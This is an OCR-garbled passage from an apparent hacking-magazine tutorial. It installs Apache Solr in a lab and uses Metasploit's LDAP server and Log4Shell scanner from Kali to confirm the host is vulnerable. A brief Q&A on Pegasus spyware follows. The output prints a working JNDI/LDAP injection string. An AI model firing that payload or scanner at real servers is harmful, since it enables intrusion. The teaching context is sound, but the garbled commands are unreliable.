to: ‘solr-8.9.0.tgz’

9.0.tgz 100% >] 193.! 52,
~01-21 11:12:39 (52.1 MB/s) - ‘solr-8.9.0.tgz’ saved [202942547/202942547

userl@ubuntu_18_server:”

Once the Solr tar archive is successfully downloaded to the target server change its permissions as
shown below.

Jserl@ubuntu_18_server:™$ 1s

Jserl@ubuntu_18_server:™% chmod 777
Jserl@ubuntu_18_server:" % 1s
solr-8.9.0.1¢z
Jserl@ubuntu_18_server:™$

hen extract the contents of the archive to the file install solr service.sh as shown below.

Jserl@ubuntu_18_server:™% tar xvf solr-8.9.0.t¢z solr-8.9.0/bin/install_solr_service.sh --strip-comp
onents=2

solr-8.9.0/bin/install_solr_service.sh

Jserl@ubuntu_18_server:™$ _

Next, install the bash script as shown below.

userl1@ubuntu_18_server:™$ sudo bash ./install_solr_service.sh solr-8.9.0.tgz
id: ‘solr’: no such user

Creating new user: solr

Adding system user solr' (UID 111)

Adding new group solr' (GID 113) _

Adding new user solr' (UID 111) with group solr'

Creating home directory Avar/solr’

Extracting solr-8.9.0.1gz to /opt

Installing symlink sopt/solr -»> /opt/solr-8.9.0 ...
Installing /etc/init.d/solr script

Installing /etc/default/solr.in.sh ...

LJ:?DMl_E Solr ffartup Lunfiguratiun in fetc/ ssolr.in.sh




Apache Solr is successfully installed and is automatically started as shown below.

Installing setc/detaults/solr.in.sh

Service solr installed.
Customize Solr startup EDHfl”HFHTlHH in /etc/default/solr.in.sh
e solr.service - LSB: Controls F‘ Solr as a Service
LHdde: EHPTF"“'..:... ; € ~ated)
' £ : : -01-21 11:24:06 UTC; S5s ago
* start (code=exited, status=0/SUCCESS)

n
L

sork [WARN]  #ok
It should b_
If you no l1_|r'|,§,E!r' |_|_:l._i| T_u cee ﬂ is I.!.l-:JF'fllf'l.E._f --':T- ,:.I:ILF._|_|L
sk [WARN] selk  Your '0C > Limit 1s currently 1
t should be ;': i /o0id operational disrupt
If you no lDHHur see this warning, set SOLR_UL
[374B8 blob datal
Started Solr server on port 8983 (pid=4629). Happy sear
[14B blob datal
Started LSB: Controls Apache Solr as a Service.

- e ubuntu_ Tl

Jan 21 1. <1, uhuntu_l ryer solr
Jan 21 11:23:46 ubuntu_1 wer solp
Jan 21 11:23:46 ubuntu_1 wer solr
.:I';arl 21 11+ A Ut”J r-l-tu_l “yer -'Eil:llr'
Jan 2 1: 46 ubuntu 1 yer solp
Jan & ' :"' 4:05 ubuntu_1 wer solr
Jan 21 11:24:05 ubuntu_1 ryer solr
Jan 21 11:24:06 ubuntu_1 ryer Solr
Jan 21 11:24:06 ubuntu_18_server systemc
lines 1- 1BI16 (END)

n

n

n

L«

l_|l_|l_|l_|l_|l_|l_|l_-l
B U R R R T Y
.

n o f
— U1 01010101 a1 0]

e |
Ll

You can stop or start the solr service using command sudo service (start | stop). Restart the solr
service. It's time to create a new core on Solr. In Solr, a core is composed of a set of configuration
files, Lucene index files, and Solr’s transaction log. Let's create a new core named "first" as shown

below.
Jserld@ubuntu_18_server:™$ sudo su solr -c "Jopt/solr/binssolr create -c tirst -n data_driven
a_configs"

“reated new core 'first
Jserlaubuntu_18_server:™$

he core is successfully started. Now, check the IP address of the Ubuntu Server and access it fro-
m browser as shown below. Solr runs on 8983.
- C @ © /4 192.168.36.226:8983/s0lr/# m o &

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums MNetHunter [ Offensive Security = Exploit-DB = GHDB [ MSFU

"rt)l = Instance System | &

Solr =
& Start 23 minutes ago Fhysical Memory 501

@ Dashboard

Versions
Logging S
it "% solr-spec B.9.0
E core Admin : T p— s . i
solr-impl B.2.0 05c8a6f0163fedc330e93775e829113ab6623MB0 - mayyasharipova - 2021-C Swap Space
Java Properties # lucene-spec £.9.0
Thread Dump lucens-impl 8.9.0 05c8a6f0163fedc330e93775eBe91f3abb6a3fB0 - mayyashanpova - 2021-(

VM # JVM-Memory 12:

Runtime Ubuntu Open)DK 64-8it Server VM 11.0.13 11.0.13+8-Ubuntu-Oubuntul.18.04
I Processors
M Args -DSTOPKEY=s0lrrocks
DSTORPORT=7983
-Djetty. home=/optisolr/server
-Djetty.port=8383

Dlog4j.configurationFile=/varfsolrflogdj2.xml




pache Solr installation is successful. Now, let's check its vulnerability. We start the Attacker Syste
m,i.e Kali Linux and start Metasploit. You have seen in the previous Issue that exploiting log4she-
Il needs a LDAP server. Metasploit has recently added a LDAP server module. Load the module
as shown below.

msf6 auxiliary(scanner/http/logdshell scanner) > use auxiliary/server/ldap
msf6 auxiliary(server/ldap) > show options

Module options (auxiliary/server/ldap):

Name Current Setting Required Description

LDIF FILE Directory LDIF file path

SRVHOST 0.0.0.0 The local host or network inter
face to listen on. This must be
an address on the local machin
e or 0.0.0.0 to listen on all a
ddresses.

SRVPORT 389 The local port to listen on.

Set the SRVHOST option and set SRVPORT as 10000 and start the server.

msfé auxiliary(server/ldap) > set srvhost 127.0.0.1
srvhost => 127.0.0.1
msf6 auxiliary(server/ldap) > set srvport 10000
srvport => 10000
msf6 auxiliary(server/Ldap) > run

Auxiliary module running as background job 0O.
msf6 auxiliary(server/ldap) > §}

Now, load the log4shell scanner as shown below.
msTé auxiliary(server/Ldap) > back
msfé6 > search logd4shell

Matching Modules

e e e s e e = e e st me s mems mmm e
jrm—p— umm——— s ——

# Name Disclosure Date Rank
heck Description

auxiliary/scanner/http/Log4shell scanner 2021-12-09

Log4Shell HTTP Scanner

auxiliary/server/ldap normal N
Native LDAP Server (Example)




msfé > use 0

msf6 auxiliary(scanner/http/logd4shell scanner) > show options

Module options (auxiliary/scanner/http/log4shell scanner):

Name

- = = =

HEADERS FILE

HTTP METHOD
LDAP TIMEOUT

LDIF FILE
Proxies

RHOSTS

RPORT
SRVHOST

SRVPORT

SSL

TARGETURI
THREADS

URIS FILE

VHOST

Current Setting

/usr/share/metasp
loit-framework/da
ta/exploits/CVE-2
021-44228/http he
aders.txt

GET

30

/
1

/usr/share/metasp
loit-framework/da
ta/exploits/CVE-2
021-44228/http ur
is.txt

Required Description

no

File containing headers to
check

The HTTP method to use
Time in seconds to wait to
receive LDAP connections

Directory LDIF file path

A proxy chain of format ty
pe:host:port[,type:host:po
FE -]

The target host(s), see ht
tps://github.com/rapid7/me
tasploit- framework/wiki/Us
ing-Metasploit

The target port (TCP)

The local host or network
interface to listen on. Th
1s must be an address on t
he local machine or 0.0.0.
© to listen on all address
es.

The local port to listen o
n.
Negotiate SSL/TLS for outg
oing connections

The URI to scan

The number of concurrent t
hreads (max one per host)
File containing additional
URIs to check

HTTP server virtual host

msf6 auxiliary(scanner/http/logdshell scanner) > |




Set all the required options as shown below.

msf6 auxiliary(scanner/http/logd4shell scanner set rhosts 192.168.36.226
rhosts => 192.168.36.226

msf6 auxiliary(scanner/htt
rport => 8983

msf6 auxiliary(scanner/http/1

srvhost = 127.0.0.1

msf6 auxiliary(scanner/http/logdshell scanner set srvport 10000
srvport => 10000

msf6 auxiliary(scanner/http/log4shell scanner 1]

p/log4shell scanner set rport 8983

After all the options are set, execute the module.

msf6é auxiliary(scanner/http/log4shell scanner) > set srvhost 192.168.36.17
1
srvhost => 192.168.36.171
msfé auxiliary(scanner/http/log4shell _scanner) > run
[+] 192.168.36.226:8983 - Log4Shell found via /solr/admin/cores?action=C
REATE&wt=]son&name=%24%7bjndi%3aldap%3a/192.168.36.171%3a10000/04k58lowpv7
€]993d4hdte26/%24%7bsys%3ajava.vendor%s7d %24%7bsys%3ajava.version%7d%s7d (]
ava: Ubuntu 11.0.13)

Scanned 1 of 1 hosts (100% complete)

Sleeping 30 seconds for any last LDAP connections

Auxiliary module execution completed
msf6 auxiliary(scanner/http/logd4shell scanner) > |}

As readers can see, the target Solr is vulnerable to Log4shell. With this, the target is ready to be
exploited for log4shell.

4 Answers to some questions related to hacking our readers ask L
Hacking O & A

A 5 Q’ >

Q : Bro. This question is about the Note that any of these laws does not give permis-

Pegasus hacking scandal involving th- sion to the government to hack into any electron
e Indian Government. Why does India -ic device. In fact, hacking into any device is ille-
-n Government have the need to hack gal as per Section 66 of Information Technology
into phones and install spyware when Act 2000.

existing laws already offer impunity Bro. You should have already realized that
for surveillance? Government did an illegal thing here if it used
A : Surveillance of any person in India is guarde Pegasus spyware to hack into devices of so man-
-d by two laws Indian telegraph act 1885 and ~ y human rights activists, journalists etc.Moreover
Information Technology Act 2000. However, sur Government of India neither agreed or denied
-veillance should happen under legal jurisdiction that they used Pegasus to hack into those mobile
and only when country's national security is devices. Even if it did not employ Pegasus, it has
affected. a duty to investigate into the hacking operation.
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